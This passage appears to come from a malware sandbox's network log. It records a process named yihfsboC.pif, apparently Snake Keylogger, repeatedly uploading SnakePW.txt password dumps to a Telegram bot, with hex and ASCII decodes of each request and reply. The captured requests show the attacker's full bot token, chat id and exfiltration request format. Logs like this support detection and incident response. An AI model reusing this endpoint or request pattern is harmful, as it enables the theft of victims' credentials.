02:24:52Client
2024-11-26 07:26:19 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:19 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:19 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388988,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605979,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	49970	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:20 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0fe7f7931677 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:20 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 65 37 66 37 39 33 31 36 37 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0fe7f7931677Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:20 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:21 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 38 30 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388990,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605980,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	49971	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:20 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0ff1a9c0edb8 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:20 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 66 31 61 39 63 30 65 64 62 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0ff1a9c0edb8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:21 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:21 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 38 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388992,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605981,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.7	49972	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:21 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd10c1527eafe5 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:21 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 63 31 35 32 37 65 61 66 65 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd10c1527eafe5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:21 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:21 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 38 31 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388994,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605981,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.7	49978	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:22 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1006e1e9399e Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:26:22 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 30 36 65 31 65 39 33 39 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd1006e1e9399eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:22 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:23 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 38 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388996,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605982,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	49979	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:22 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1011a0457cfd Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:22 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 31 31 61 30 34 35 37 63 66 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd1011a0457cfdContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:23 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:23 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 38 32 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388998,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605982,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	49980	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:22 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd10f381542235 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:22 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 66 33 38 31 35 34 32 32 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd10f381542235Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:23 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:23 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 30 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 38 33 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389000,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605983,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.7	49985	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:24 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd102ad1bb58e8 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:24 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 32 61 64 31 62 62 35 38 65 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd102ad1bb58e8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:25 GMT Content-Type: application/json Content-Length: 523 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:25 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 39 30 30 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 38 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":389002,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605985,"documen

